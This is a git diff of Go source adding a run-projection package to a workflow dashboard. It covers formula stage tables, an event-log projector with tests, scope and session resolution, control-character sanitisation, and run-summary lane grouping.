+		case idx == activeIndex:
+			status = "active"
+		default:
+			status = "pending"
+		}
+		out[idx] = RunStage{Key: s[0], Label: label, Status: status}
+	}
+	return out
+}
+
+// formulaStage is a per-formula stage with its constituent step ids.
+type formulaStage struct {
+	key   string
+	label string
+	steps []string
+}
+
+// stagesForFormula returns the per-formula stage tables. Port of TS
+// stagesForFormula. hasFormula mirrors TS's `formula: string | null`.
+func stagesForFormula(formula string, hasFormula bool) []formulaStage {
+	if !hasFormula {
+		return nil
+	}
+	switch formula {
+	case "mol-adopt-pr-v2":
+		return []formulaStage{
+			{"preflight", "Preflight", []string{"preflight"}},
+			{"rebase", "Worktree / rebase", []string{"rebase-check"}},
+			{"review", "Review loop", []string{
+				"review-loop",
+				"review-pipeline.review-claude",
+				"review-pipeline.review-codex",
+				"review-pipeline.review-gemini",
+				"review-pipeline.synthesize",
+				"review-pipeline.quality-scorecard",
+				"apply-fixes",
+			}},
+			{"ci", "Pre-approval CI", []string{"pre-approval-ci", "repair-ci-failures"}},
+			{"approval", "Human approval", []string{"human-approval"}},
+			{"finalize", "Merge-ready", []string{"finalize"}},
+			{"cleanup", "Cleanup", []string{"cleanup-worktree"}},
+		}
+	case "mol-design-review-v2":
+		return []formulaStage{
+			{"setup", "Setup", []string{"design-review.setup"}},
+			{"personas", "Personas", []string{
+				"design-review.persona-gen-claude",
+				"design-review.persona-gen-codex",
+				"design-review.persona-gen-gemini",
+				"design-review.persona-synthesis",
+			}},
+			{"fanout", "Persona fanout", []string{
+				"design-review.prepare-review-items",
+				"design-review.persona-review-fanout",
+			}},
+			{"synthesis", "Synthesis", []string{"design-review.global-synthesis"}},
+			{"apply", "Apply findings", []string{"design-review.apply-design-changes"}},
+			{"finalize", "Finalize", []string{"finalize"}},
+		}
+	case "mol-bug-report-flow-v2":
+		return []formulaStage{
+			{"intake", "Intake", []string{"bootstrap-run", "refresh-intake"}},
+			{"repro", "Reproduction", []string{"historical-baseline", "reported-build-repro", "main-repro"}},
+			{"audit", "Audit", []string{"code-path-audit", "coverage-audit", "related-refs-audit"}},
+			{"classify", "Classify", []string{"investigation-synthesis", "followup-evidence", "normalize-outcome"}},
+			{"approval", "Human approval", []string{"approve-classification", "verify-classification-approval"}},
+			{"publish", "Publish", []string{"publish-classification"}},
+			{"dispatch", "Dispatch fix", []string{"dispatch-implementation"}},
+		}
+	case "mol-bug-report-implementation-v2":
+		return []formulaStage{
+			{"plan", "Plan approval", []string{"approve-fix-plan", "approve-test-hardening-plan", "verify-selected-plan-approval"}},
+			{"design", "Design review", []string{"prepare-design-review-doc", "design-review"}},
+			{"implement", "Implement", []string{"implement-change", "prepare-review-context"}},
+			{"review", "Code review", []string{"code-review-loop", "apply-code-fixes"}},
+			{"pr", "Open PR", []string{"approve-pr-open", "verify-pr-open-approval", "open-or-update-pr"}},
+			{"ci", "CI", []string{"wait-for-ci"}},
+			{"merge", "Merge", []string{"approve-merge", "verify-merge-approval", "merge-and-finalize"}},
+		}
+	}
+	return nil
+}
+
+// formulaStageProgress maps formula stages to RunStage statuses.
+// Port of TS formulaStageProgress.
+func formulaStageProgress(stages []formulaStage, issues []runIssue) []RunStage {
+	primary := primaryStepIssues(issues)
+	activeIndex := formulaActiveStageIndex(stages, primary)
+	furthestClosedIndex := furthestClosedStageIndex(stages, primary)
+
+	out := make([]RunStage, len(stages))
+	for idx, stage := range stages {
+		out[idx] = RunStage{
+			Key:    stage.key,
+			Label:  stage.label,
+			Status: formulaStageStatus(idx, activeIndex, furthestClosedIndex, stage, primary),
+		}
+	}
+	return out
+}
+
+// primaryStepIssues keeps only the primary-step issues, mirroring the
+// isPrimaryStepIssue filter formulaStageProgress applies before stage mapping.
+func primaryStepIssues(issues []runIssue) []runIssue {
+	var primary []runIssue
+	for _, i := range issues {
+		if isPrimaryStepIssue(i) {
+			primary = append(primary, i)
+		}
+	}
+	return primary
+}
+
+// formulaActiveStageIndex resolves the active stage index: the stage carrying
+// the latest in-progress primary step, else the first open stage (-1 when none).
+func formulaActiveStageIndex(stages []formulaStage, primary []runIssue) int {
+	var inProgress []runIssue
+	for _, i := range primary {
+		if i.status == "in_progress" {
+			inProgress = append(inProgress, i)
+		}
+	}
+	activeStepID, hasActiveStep := latestStepID(inProgress)
+	if !hasActiveStep {
+		return firstOpenStageIndex(stages, primary)
+	}
+	for idx, s := range stages {
+		if containsString(s.steps, activeStepID) {
+			return idx
+		}
+	}
+	return -1
+}
+
+// formulaStageStatus resolves one stage's status relative to the active and
+// furthest-closed stage indices. Port of the TS status switch.
+func formulaStageStatus(idx, activeIndex, furthestClosedIndex int, stage formulaStage, primary []runIssue) string {
+	switch {
+	case activeIndex >= 0 && idx < activeIndex:
+		return "complete"
+	case activeIndex >= 0 && idx == activeIndex:
+		return "active"
+	case activeIndex >= 0:
+		return "pending"
+	case stageHasClosedStep(stage, primary) || idx < furthestClosedIndex:
+		return "complete"
+	default:
+		return "pending"
+	}
+}
+
+// stageHasClosedStep reports whether any of the stage's steps has a closed
+// primary issue.
+func stageHasClosedStep(stage formulaStage, primary []runIssue) bool {
+	for _, step := range stage.steps {
+		for _, i := range stepIssues(primary, step) {
+			if i.status == "closed" {
+				return true
+			}
+		}
+	}
+	return false
+}
+
+func firstOpenStageIndex(stages []formulaStage, issues []runIssue) int {
+	for idx, s := range stages {
+		for _, step := range s.steps {
+			for _, i := range stepIssues(issues, step) {
+				if i.status != "closed" {
+					return idx
+				}
+			}
+		}
+	}
+	return -1
+}
+
+func furthestClosedStageIndex(stages []formulaStage, issues []runIssue) int {
+	furthest := -1
+	for idx, s := range stages {
+		for _, step := range s.steps {
+			closed := false
+			for _, i := range stepIssues(issues, step) {
+				if i.status == "closed" {
+					closed = true
+					break
+				}
+			}
+			if closed {
+				furthest = idx
+				break
+			}
+		}
+	}
+	return furthest
+}
+
+// latestStepID returns the gc.step_id of the most-recent-then-furthest issue.
+// Port of TS latestStepId. The bool mirrors TS's `null`.
+func latestStepID(issues []runIssue) (string, bool) {
+	sorted := make([]runIssue, len(issues))
+	copy(sorted, issues)
+	sort.SliceStable(sorted, func(i, j int) bool {
+		return byMostRecentThenStage(sorted[i], sorted[j]) < 0
+	})
+	for _, i := range sorted {
+		if s := stringValue(i.metadata[beadmeta.StepIDMetadataKey]); s != "" {
+			return s, true
+		}
+	}
+	return "", false
+}
+
+// furthestStageStepID picks the step whose stage is furthest along the ladder.
+// Port of TS furthestStageStepId. The bool mirrors TS's `null`.
+func furthestStageStepID(issues []runIssue) (string, bool) {
+	var stepIDs []string
+	for _, i := range issues {
+		if id := stringValue(i.metadata[beadmeta.StepIDMetadataKey]); id != "" {
+			stepIDs = append(stepIDs, id)
+		}
+	}
+	if len(stepIDs) == 0 {
+		return "", false
+	}
+	sorted := make([]string, len(stepIDs))
+	copy(sorted, stepIDs)
+	sort.SliceStable(sorted, func(i, j int) bool {
+		rankDelta := stageRank(stepIDPhase(sorted[j])) - stageRank(stepIDPhase(sorted[i]))
+		if rankDelta != 0 {
+			return rankDelta < 0
+		}
+		return sorted[i] < sorted[j]
+	})
+	return sorted[0], true
+}
+
+// lifecycleRank is the lifecycle rank (higher = further along). Port of TS
+// LIFECYCLE_RANK.
+var lifecycleRank = map[string]int{
+	"active":         0,
+	"intake":         1,
+	"implementation": 2,
+	"review":         3,
+	"approval":       4,
+	"finalization":   5,
+	"blocked":        6,
+	"complete":       7,
+}
+
+func stageRank(phase string) int {
+	return lifecycleRank[phase]
+}
+
+// byMostRecentThenStage is the deterministic step ordering comparator.
+// Port of TS byMostRecentThenStage. Returns <0 if a sorts before b.
+func byMostRecentThenStage(a, b runIssue) int {
+	timeDelta := parseTimestamp(b.updatedAt) - parseTimestamp(a.updatedAt)
+	if timeDelta != 0 {
+		if timeDelta < 0 {
+			return -1
+		}
+		return 1
+	}
+	aStep := stringValue(a.metadata[beadmeta.StepIDMetadataKey])
+	bStep := stringValue(b.metadata[beadmeta.StepIDMetadataKey])
+	rankDelta := stageRank(stepIDPhase(bStep)) - stageRank(stepIDPhase(aStep))
+	if rankDelta != 0 {
+		return rankDelta
+	}
+	if aStep < bStep {
+		return -1
+	}
+	if aStep > bStep {
+		return 1
+	}
+	return 0
+}
+
+// stepIssues returns the issues whose gc.step_id equals step. Port of TS
+// stepIssues.
+func stepIssues(issues []runIssue, step string) []runIssue {
+	var out []runIssue
+	for _, i := range issues {
+		if stringValue(i.metadata[beadmeta.StepIDMetadataKey]) == step {
+			out = append(out, i)
+		}
+	}
+	return out
+}
+
+// isPrimaryStepIssue excludes spec / scope-check / workflow-finalize kinds.
+// Port of TS isPrimaryStepIssue.
+func isPrimaryStepIssue(issue runIssue) bool {
+	kind := stringValue(issue.metadata[beadmeta.KindMetadataKey])
+	return kind != "spec" && kind != "scope-check" && kind != "workflow-finalize"
+}
+
+func containsString(haystack []string, needle string) bool {
+	for _, h := range haystack {
+		if h == needle {
+			return true
+		}
+	}
+	return false
+}
diff --git a/internal/runproj/projector.go b/internal/runproj/projector.go
new file mode 100644
index 0000000000..9a1f841c40
--- /dev/null
+++ b/internal/runproj/projector.go
@@ -0,0 +1,112 @@
+package runproj
+
+import (
+	"github.com/gastownhall/gascity/internal/beads"
+	"github.com/gastownhall/gascity/internal/events"
+)
+
+// Projector folds bead lifecycle events into the latest snapshot per id while
+// preserving first-seen (creation) order. BuildRunSummary groups by first-seen
+// order (mirroring the JS Map insertion order of the dashboard's listBeads
+// read), so a plain Fold map — whose Go iteration order is random — would make a
+// live run view flicker between requests. The per-city tailer drives a Projector
+// instead: a cold ColdLoad over the full log, then incremental Apply of newly
+// tailed events, and Beads() hands BuildRunSummary a deterministic slice.
+//
+// A Projector is not safe for concurrent use; the tailer mutates it from its
+// single loop goroutine and publishes the built summary under its own lock.
+type Projector struct {
+	beads        map[string]beads.Bead
+	order        []string
+	lastSeq      uint64
+	decodeMisses int
+}
+
+// NewProjector returns an empty projector.
+func NewProjector() *Projector {
+	return &Projector{beads: make(map[string]beads.Bead)}
+}
+
+// ColdLoad folds the entire event log at path into the projector. It reads via
+// events.ReadFilteredWithInFlight so the replay spans rotated .gz archives AND
+// any in-flight events.jsonl.rotating-* file the recorder has not yet gzipped —
+// otherwise a cold start that lands in a rotation's compression window would
+// miss those pre-rotation events until the next rotation's catch-up. Safe to
+// call once on a fresh projector before the incremental tail begins; Apply is
+// seq-idempotent so the transient .gz/rotating overlap folds cleanly.
+func (p *Projector) ColdLoad(path string) error {
+	evts, err := events.ReadFilteredWithInFlight(path, events.Filter{})
+	if err != nil {
+		return err
+	}
+	p.Apply(evts)
+	return nil
+}
+
+// Apply folds a chronological event slice, upserting bead.created/updated/closed
+// snapshots and removing bead.deleted ones, preserving first-seen order for new
+// ids. It advances the cursor past every event (bead or not) and reports whether
+// any bead snapshot changed, so the caller can skip a rebuild on a no-op tick.
+// A bead.* event whose payload does not decode is counted (DecodeMisses) rather
+// than swallowed, so a silent projection starve is observable to the caller.
+func (p *Projector) Apply(evts []events.Event) (changed bool) {
+	for i := range evts {
+		e := &evts[i]
+		if e.Seq > p.lastSeq {
+			p.lastSeq = e.Seq
+		}
+		if !beadEventTypes[e.Type] {
+			continue
+		}
+		b, ok := decodeBead(*e)
+		if !ok {
+			p.decodeMisses++
+			continue
+		}
+		if e.Type == events.BeadDeleted {
+			if _, exists := p.beads[b.ID]; exists {
+				delete(p.beads, b.ID)
+				p.removeOrder(b.ID)
+				changed = true
+			}
+			continue
+		}
+		if _, exists := p.beads[b.ID]; !exists {
+			p.order = append(p.order, b.ID)
+		}
+		p.beads[b.ID] = b
+		changed = true
+	}
+	return changed
+}
+
+// Beads returns the folded beads in first-seen order — the deterministic input
+// BuildRunSummary expects.
+func (p *Projector) Beads() []beads.Bead {
+	out := make([]beads.Bead, 0, len(p.order))
+	for _, id := range p.order {
+		if b, ok := p.beads[id]; ok {
+			out = append(out, b)
+		}
+	}
+	return out
+}
+
+// LastSeq returns the highest event seq applied — the cursor a live tail resumes
+// from.
+func (p *Projector) LastSeq() uint64 { return p.lastSeq }
+
+// DecodeMisses returns the cumulative count of bead.* events whose payload did
+// not decode to a bead with an id. It is monotonic across Apply calls; the
+// tailer watches the delta so a live projection starve (the run-view RCA
+// signature) surfaces as a log line instead of a blank view.
+func (p *Projector) DecodeMisses() int { return p.decodeMisses }
+
+func (p *Projector) removeOrder(id string) {
+	for i, oid := range p.order {
+		if oid == id {
+			p.order = append(p.order[:i], p.order[i+1:]...)
+			return
+		}
+	}
+}
diff --git a/internal/runproj/projector_test.go b/internal/runproj/projector_test.go
new file mode 100644
index 0000000000..245eed978e
--- /dev/null
+++ b/internal/runproj/projector_test.go
@@ -0,0 +1,114 @@
+package runproj
+
+import (
+	"encoding/json"
+	"testing"
+
+	"github.com/gastownhall/gascity/internal/beads"
+	"github.com/gastownhall/gascity/internal/events"
+)
+
+func TestProjectorPreservesFirstSeenOrder(t *testing.T) {
+	p := NewProjector()
+	changed := p.Apply([]events.Event{
+		beadEvent(1, events.BeadCreated, "b", "open"),
+		beadEvent(2, events.BeadCreated, "a", "open"),
+		beadEvent(3, events.BeadCreated, "c", "open"),
+		// An update to an existing bead must NOT reorder it.
+		beadEvent(4, events.BeadUpdated, "b", "in_progress"),
+	})
+	if !changed {
+		t.Fatal("Apply reported no change for bead events")
+	}
+
+	got := idsOf(p.Beads())
+	want := []string{"b", "a", "c"}
+	if !equalIDs(got, want) {
+		t.Errorf("order = %v, want %v (first-seen order, stable across updates)", got, want)
+	}
+	if p.LastSeq() != 4 {
+		t.Errorf("lastSeq = %d, want 4", p.LastSeq())
+	}
+}
+
+func TestProjectorIncrementalApplyAndDelete(t *testing.T) {
+	p := NewProjector()
+	p.Apply([]events.Event{
+		beadEvent(1, events.BeadCreated, "a", "open"),
+		beadEvent(2, events.BeadCreated, "b", "open"),
+	})
+
+	// Incremental tail: a new bead appends at the end; a delete drops its slot.
+	changed := p.Apply([]events.Event{
+		beadEvent(3, events.BeadCreated, "c", "open"),
+		beadEvent(4, events.BeadDeleted, "a", "open"),
+	})
+	if !changed {
+		t.Fatal("Apply reported no change")
+	}
+
+	got := idsOf(p.Beads())
+	want := []string{"b", "c"}
+	if !equalIDs(got, want) {
+		t.Errorf("order after delete = %v, want %v", got, want)
+	}
+	if p.LastSeq() != 4 {
+		t.Errorf("lastSeq = %d, want 4", p.LastSeq())
+	}
+}
+
+func TestProjectorNoOpTickReportsUnchanged(t *testing.T) {
+	p := NewProjector()
+	p.Apply([]events.Event{beadEvent(1, events.BeadCreated, "a", "open")})
+
+	// A tick carrying only non-bead events advances the cursor but changes no
+	// bead, so the tailer can skip the rebuild.
+	changed := p.Apply([]events.Event{{Seq: 7, Type: events.SessionWoke, Subject: "w"}})
+	if changed {
+		t.Error("non-bead event should not report a change")
+	}
+	if p.LastSeq() != 7 {
+		t.Errorf("lastSeq = %d, want 7 (cursor advances past ignored events)", p.LastSeq())
+	}
+}
+
+// TestProjectorCountsDecodeMisses proves the tailer-driven path (Projector.Apply,
+// not the free Apply) counts bead.* payload decode misses instead of swallowing
+// them — the observable signal the run tailer logs so a live projection starve
+// surfaces. Non-bead events are not misses, and the count is cumulative.
+func TestProjectorCountsDecodeMisses(t *testing.T) {
+	p := NewProjector()
+	p.Apply([]events.Event{
+		beadEvent(1, events.BeadCreated, "a", "open"),
+		{Seq: 2, Type: events.BeadUpdated, Payload: json.RawMessage(`{"status":"open"}`)}, // no id → miss
+		{Seq: 3, Type: events.SessionWoke, Subject: "w"},                                  // not a bead event
+	})
+	if p.DecodeMisses() != 1 {
+		t.Fatalf("DecodeMisses = %d, want 1 after first pass", p.DecodeMisses())
+	}
+	// A second pass with another undecodable bead.* event accumulates the count.
+	p.Apply([]events.Event{{Seq: 4, Type: events.BeadClosed, Payload: json.RawMessage(`garbage`)}})
+	if p.DecodeMisses() != 2 {
+		t.Errorf("DecodeMisses = %d, want 2 (cumulative across passes)", p.DecodeMisses())
+	}
+}
+
+func idsOf(bl []beads.Bead) []string {
+	out := make([]string, len(bl))
+	for i, b := range bl {
+		out[i] = b.ID
+	}
+	return out
+}
+
+func equalIDs(a, b []string) bool {
+	if len(a) != len(b) {
+		return false
+	}
+	for i := range a {
+		if a[i] != b[i] {
+			return false
+		}
+	}
+	return true
+}
diff --git a/internal/runproj/scope.go b/internal/runproj/scope.go
new file mode 100644
index 0000000000..ce08cdf846
--- /dev/null
+++ b/internal/runproj/scope.go
@@ -0,0 +1,82 @@
+package runproj
+
+import (
+	"regexp"
+	"strings"
+
+	"github.com/gastownhall/gascity/internal/beadmeta"
+)
+
+// scopeRefRe validates a scope ref. Port of TS SCOPE_REF_RE
+// (shared/src/run-detail.ts).
+var scopeRefRe = regexp.MustCompile(`^[A-Za-z0-9][A-Za-z0-9_.:/-]{0,127}$`)
+
+// runScopeWithStoreRef is the resolved scope. Port of TS RunScopeWithStoreRef.
+type runScopeWithStoreRef struct {
+	scopeKind    string
+	scopeRef     string
+	rootStoreRef string
+}
+
+// parseRunScopeKind accepts only "city" or "rig". Port of TS parseRunScopeKind.
+func parseRunScopeKind(value string) (string, bool) {
+	if value == "city" || value == "rig" {
+		return value, true
+	}
+	return "", false
+}
+
+// fromRootMetadataScope resolves the lane scope from root metadata, with the
+// gc.root_store_ref fallback. Port of TS fromRootMetadataScope. The bool mirrors
+// TS's `null`.
+func fromRootMetadataScope(metadata map[string]string) (runScopeWithStoreRef, bool) {
+	rootStoreRef := stringValueOrEmpty(metadata[beadmeta.RootStoreRefMetadataKey])
+
+	// Primary: explicit gc.scope_kind / gc.scope_ref pair.
+	scopeKind, kindOK := parseRunScopeKind(metadata[beadmeta.ScopeKindMetadataKey])
+	scopeRef := stringValueOrEmpty(metadata[beadmeta.ScopeRefMetadataKey])
+	if kindOK && scopeRef != "" && scopeRefRe.MatchString(scopeRef) {
+		rsr := rootStoreRef
+		if rsr == "" {
+			rsr = scopeKind + ":" + scopeRef
+		}
+		return runScopeWithStoreRef{scopeKind: scopeKind, scopeRef: scopeRef, rootStoreRef: rsr}, true
+	}
+
+	// Fallback (gascity-dashboard-km0w): recover scope from gc.root_store_ref.
+	if rootStoreRef == "" {
+		return runScopeWithStoreRef{}, false
+	}
+	parsedKind, parsedRef, ok := fromStoreRef(rootStoreRef)
+	if !ok || !scopeRefRe.MatchString(parsedRef) {
+		return runScopeWithStoreRef{}, false
+	}
+	return runScopeWithStoreRef{scopeKind: parsedKind, scopeRef: parsedRef, rootStoreRef: rootStoreRef}, true
+}
+
+// fromStoreRef parses a "<kind>:<ref>" store ref. Port of TS fromStoreRef.
+func fromStoreRef(rootStoreRef string) (kind, ref string, ok bool) {
+	value := stringValueOrEmpty(rootStoreRef)
+	if value == "" {
+		return "", "", false
+	}
+	colon := strings.IndexByte(value, ':')
+	if colon <= 0 || colon >= len(value)-1 {
+		return "", "", false
+	}
+	parsedKind, kindOK := parseRunScopeKind(value[:colon])
+	parsedRef := stringValueOrEmpty(value[colon+1:])
+	if !kindOK || parsedRef == "" {
+		return "", "", false
+	}
+	return parsedKind, parsedRef, true
+}
+
+// stringValueOrEmpty trims a value; an all-whitespace or empty value becomes "".
+// Mirrors the TS run-scope stringValue (which returns null for empty). It
+// delegates to nonEmpty so the JS-faithful trim (String.prototype.trim(): BOM
+// stripped, NEL kept) is uniform with the rest of the package rather than
+// diverging on Go's unicode.IsSpace.
+func stringValueOrEmpty(value string) string {
+	return nonEmpty(value)
+}
diff --git a/internal/runproj/session.go b/internal/runproj/session.go
new file mode 100644
index 0000000000..9308a7e050
--- /dev/null
+++ b/internal/runproj/session.go
@@ -0,0 +1,101 @@
+package runproj
+
+import "strings"
+
+// DashboardSession is the dashboard-owned session projection that the run-health
+// enrich layer joins lanes against. Port of the TypeScript DashboardSession in
+// internal/api/dashboardspa/web/shared/src/dashboard-sessions.ts. Optional TS
+// fields are modeled as pointers so an absent field (TS undefined) is
+// distinguishable from an empty value — only Alias, Pool, LastActive, and
+// Activity affect resolution/health, but the full shape is carried so the P2
+// endpoint can unmarshal a /v0 sessions read directly.
+type DashboardSession struct {
+	ID            string   `json:"id"`
+	Template      string   `json:"template"`
+	SessionName   string   `json:"session_name"`
+	Title         string   `json:"title"`
+	Alias         *string  `json:"alias,omitempty"`
+	State         string   `json:"state"`
+	Reason        *string  `json:"reason,omitempty"`
+	DisplayName   *string  `json:"display_name,omitempty"`
+	CreatedAt     string   `json:"created_at"`
+	LastActive    *string  `json:"last_active,omitempty"`
+	Attached      bool     `json:"attached"`
+	Rig           *string  `json:"rig,omitempty"`
+	Pool          *string  `json:"pool,omitempty"`
+	AgentKind     *string  `json:"agent_kind,omitempty"`
+	Running       bool     `json:"running"`
+	Model         *string  `json:"model,omitempty"`
+	ContextPct    *float64 `json:"context_pct,omitempty"`
+	ContextWindow *int     `json:"context_window,omitempty"`
+	Activity      *string  `json:"activity,omitempty"`
+	Provider      string   `json:"provider"`
+}
+
+// resolveSessionForTarget resolves a role/assignee/target label to the concrete
+// session that carries it, or (zero, false) when none match. Port of TS
+// resolveSessionForTarget: active sessions outrank non-active; within a tier,
+// first match wins (deterministic given gc's recency-sorted iteration order).
+func resolveSessionForTarget(target string, sessions []DashboardSession) (DashboardSession, bool) {
+	if target == "" || len(sessions) == 0 {
+		return DashboardSession{}, false
+	}
+	active := make([]DashboardSession, 0, len(sessions))
+	for _, s := range sessions {
+		if s.State == "active" {
+			active = append(active, s)
+		}
+	}
+	if s, ok := matchFirst(target, active); ok {
+		return s, true
+	}
+	return matchFirst(target, sessions)
+}
+
+func matchFirst(target string, sessions []DashboardSession) (DashboardSession, bool) {
+	for _, s := range sessions {
+		if matchesSessionTarget(s, target) {
+			return s, true
+		}
+	}
+	return DashboardSession{}, false
+}
+
+// matchesSessionTarget reports whether session carries target in any of the four
+// documented positions: exact alias, exact pool, last-segment of alias (split on
+// '/' '.'), or last-segment of session_name (split on '__' '--'). Port of TS
+// matchesSessionTarget.
+func matchesSessionTarget(session DashboardSession, target string) bool {
+	if session.Alias != nil && *session.Alias == target {
+		return true
+	}
+	if session.Pool != nil && *session.Pool == target {
+		return true
+	}
+	if session.Alias != nil && lastSegment(*session.Alias, []string{"/", "."}) == target {
+		return true
+	}
+	if lastSegment(session.SessionName, []string{"__", "--"}) == target {
+		return true
+	}
+	return false
+}
+
+// lastSegment returns the substring after the last occurrence of any separator
+// in seps (whole-token match for multi-char separators), or value unchanged when
+// no separator is present. Port of TS lastSegment.
+func lastSegment(value string, seps []string) string {
+	cut := -1
+	sepLen := 0
+	for _, sep := range seps {
+		idx := strings.LastIndex(value, sep)
+		if idx > cut {
+			cut = idx
+			sepLen = len(sep)
+		}
+	}
+	if cut < 0 {
+		return value
+	}
+	return value[cut+sepLen:]
+}
diff --git a/internal/runproj/strip.go b/internal/runproj/strip.go
new file mode 100644
index 0000000000..667fc9fd62
--- /dev/null
+++ b/internal/runproj/strip.go
@@ -0,0 +1,28 @@
+package runproj
+
+import "regexp"
+
+// stripNonPrintable removes ANSI escapes (OSC + CSI), C0/DEL/C1 control bytes,
+// and Unicode bidi/RTL controls from operator-influenced strings. Faithful port
+// of TS stripNonPrintable (shared/src/strip-non-printable.ts). This is the
+// single sanitisation choke point for scope refs that enter the DTO
+// (gascity-dashboard-5e5v).
+var (
+	// OSC: ESC ] ... terminated by BEL or ESC \ ; the inner class excludes ESC.
+	oscRe = regexp.MustCompile("\x1b\\][^\x07\x1b]*(?:\x07|\x1b\\\\)")
+	// CSI: ESC [ params final-letter.
+	csiRe = regexp.MustCompile("\x1b\\[[?0-9;]*[a-zA-Z]")
+	// All control chars: C0 (<0x20, incl. tab/newline/CR), DEL, C1 (0x80-0x9f).
+	ctrlRe = regexp.MustCompile(`[\x{00}-\x{1f}\x{7f}-\x{9f}]`)
+	// The 12 Unicode bidi/RTL control codepoints (CVE-2021-42574):
+	// U+061C, U+200E, U+200F, U+202A-202E, U+2066-2069.
+	bidiRe = regexp.MustCompile(`[\x{061c}\x{200e}\x{200f}\x{202a}-\x{202e}\x{2066}-\x{2069}]`)
+)
+
+func stripNonPrintable(value string) string {
+	value = oscRe.ReplaceAllString(value, "")
+	value = csiRe.ReplaceAllString(value, "")
+	value = ctrlRe.ReplaceAllString(value, "")
+	value = bidiRe.ReplaceAllString(value, "")
+	return value
+}
diff --git a/internal/runproj/summary.go b/internal/runproj/summary.go
new file mode 100644
index 0000000000..feaae75a69
--- /dev/null
+++ b/internal/runproj/summary.go
@@ -0,0 +1,736 @@
+package runproj
+
+import (
+	"regexp"
+	"sort"
+	"strings"
+	"time"
+
+	"github.com/gastownhall/gascity/internal/beadmeta"
+	"github.com/gastownhall/gascity/internal/beads"
+)
+
+// recentChangesCap caps the recentChanges list. Port of TS RECENT_CHANGES_CAP.
+const recentChangesCap = 12
+
+// maxHistoricalLanes caps the historical lanes carried on the wire (the true
+// count still surfaces via TotalHistorical). Port of TS MAX_HISTORICAL_LANES.
+const maxHistoricalLanes = 50
+
+// engineeringTypes is the run-bead-filter allowlist. Port of TS
+// ENGINEERING_TYPES. (Used by RunBeadFilter; the summary builder itself does not
+// pre-filter — it groups whatever it is given, exactly like buildRunSummary.)
+var engineeringTypes = map[string]bool{
+	"feature": true, "bug": true, "task": true, "epic": true,
+	"chore": true, "decision": true, "molecule": true,
+}
+
+// BuildRunSummary projects a set of bead snapshots into the dashboard run-view
+// RunSummary DTO. It is a faithful Go port of the TypeScript buildRunSummary
+// (internal/api/dashboardspa/web/shared/src/runs/summary.ts) for the
+// BEAD-DERIVED result: lane health and the city census are the builder's
+// pre-enrich defaults (status "unavailable"); session enrichment is Phase 2.
+//
+// The input is the latest bead snapshot per id (e.g. the output of Fold). Each
+// bead is mapped to the phase classifier's RunIssue shape with the same field
+// mapping fromDashboardBead uses (Type→issue_type, ParentID→parent, a zero
+// UpdatedAt falling back to CreatedAt).
+//
+// partial=false and an empty feed-scope map reproduce the golden fixture; the
+// optional variadic params mirror the TS signature for downstream callers.
+func BuildRunSummary(beadList []beads.Bead, opts ...BuildOption) RunSummary {
+	cfg := buildConfig{feedScopes: map[string]RunFeedScope{}}
+	for _, o := range opts {
+		o(&cfg)
+	}
+
+	issues := make([]runIssue, len(beadList))
+	for i, b := range beadList {
+		issues[i] = fromBead(b)
+	}
+
+	// Group by run-root id, preserving first-seen order (mirrors JS Map order).
+	groups := map[string][]runIssue{}
+	var order []string
+	for _, issue := range issues {
+		rootID := runRootID(issue)
+		if _, ok := groups[rootID]; !ok {
+			order = append(order, rootID)
+		}
+		groups[rootID] = append(groups[rootID], issue)
+	}
+
+	// Keep only real run groups (drop dangling roots and non-run groups).
+	var runRootIDs []string
+	var laneIssues []runIssue
+	for _, rootID := range order {
+		groupIssues := groups[rootID]
+		if isDanglingRootGroup(rootID, groupIssues) || !isRunGroup(rootID, groupIssues) {
+			continue
+		}
+		runRootIDs = append(runRootIDs, rootID)
+		laneIssues = append(laneIssues, groupIssues...)
+	}
+
+	sortedLanes := make([]RunLane, 0, len(runRootIDs))
+	for _, rootID := range runRootIDs {
+		sortedLanes = append(sortedLanes, runLane(rootID, groups[rootID], cfg.feedScopes))
+	}
+	sort.SliceStable(sortedLanes, func(i, j int) bool {
+		return compareLanes(sortedLanes[i], sortedLanes[j]) < 0
+	})
+
+	// gascity-dashboard-4xcv: blocked lanes are split out of Active.
+	activeLanes := make([]RunLane, 0)
+	completedLanes := make([]RunLane, 0)
+	blockedLanes := make([]RunLane, 0)
+	for _, lane := range sortedLanes {
+		switch lane.Phase {
+		case "complete":
+			completedLanes = append(completedLanes, lane)
+		case "blocked":
+			blockedLanes = append(blockedLanes, lane)
+		default:
+			activeLanes = append(activeLanes, lane)
+		}
+	}
+
+	totalHistorical := len(completedLanes)
+	historicalLanes := completedLanes
+	if len(historicalLanes) > maxHistoricalLanes {
+		historicalLanes = historicalLanes[:maxHistoricalLanes]
+	}
+
+	summary := RunSummary{
+		TotalActive:     len(activeLanes),
+		TotalHistorical: totalHistorical,
+		RunCounts:       runCounts(activeLanes, len(activeLanes), len(blockedLanes)),
+		Lanes:           activeLanes,
+		HistoricalLanes: historicalLanes,
+		BlockedLanes:    blockedLanes,
+		RecentChanges:   recentChanges(laneIssues),
+		Census:          runCensusUnavailable(),
+	}
+	if cfg.partial {
+		summary.LanesPartial = true
+	}
+	return summary
+}
+
+// RunFeedScope mirrors the TS RunFeedScope (feed-scope fallback entry).
+type RunFeedScope struct {
+	ScopeKind    string
+	ScopeRef     string
+	RootStoreRef string
+}
+
+type buildConfig struct {
+	feedScopes map[string]RunFeedScope
+	partial    bool
+}
+
+// BuildOption configures BuildRunSummary. The defaults (empty feed-scope map,
+// partial=false) reproduce the golden fixture.
+type BuildOption func(*buildConfig)
+
+// WithFeedScopes supplies the feed-scope fallback map (TS feedScopes arg).
+func WithFeedScopes(m map[string]RunFeedScope) BuildOption {
+	return func(c *buildConfig) {
+		if m != nil {
+			c.feedScopes = m
+		}
+	}
+}
+
+// WithPartial sets the partial flag (TS partial arg) — emits lanesPartial=true.
+func WithPartial(partial bool) BuildOption {
+	return func(c *buildConfig) { c.partial = partial }
+}
+
+// isRunGroup reports whether a group is a run (root carries a run marker).
+// Port of TS isRunGroup.
+func isRunGroup(rootID string, issues []runIssue) bool {
+	root, ok := findIssue(issues, rootID)
+	if !ok {
+		return false
+	}
+	md := root.metadata
+	return stringValue(md[beadmeta.FormulaContractMetadataKey]) == "graph.v2" ||
+		root.issueType == "molecule" ||
+		stringValue(md[beadmeta.KindMetadataKey]) == "run" ||
+		stringValue(md[beadmeta.FormulaMetadataKey]) != ""
+}
+
+// runCounts tallies lanes per kind. Port of TS runCounts.
+func runCounts(lanes []RunLane, visible, blocked int) RunCounts {
+	counts := RunCounts{
+		Total:   len(lanes),
